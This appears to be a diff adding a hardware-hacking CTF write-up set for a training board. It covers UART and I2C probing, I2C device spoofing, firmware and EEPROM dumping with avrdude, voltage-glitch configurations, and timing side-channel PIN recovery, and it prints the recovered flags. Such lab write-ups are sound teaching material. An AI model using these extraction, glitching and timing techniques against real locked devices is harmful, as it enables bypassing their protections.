+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
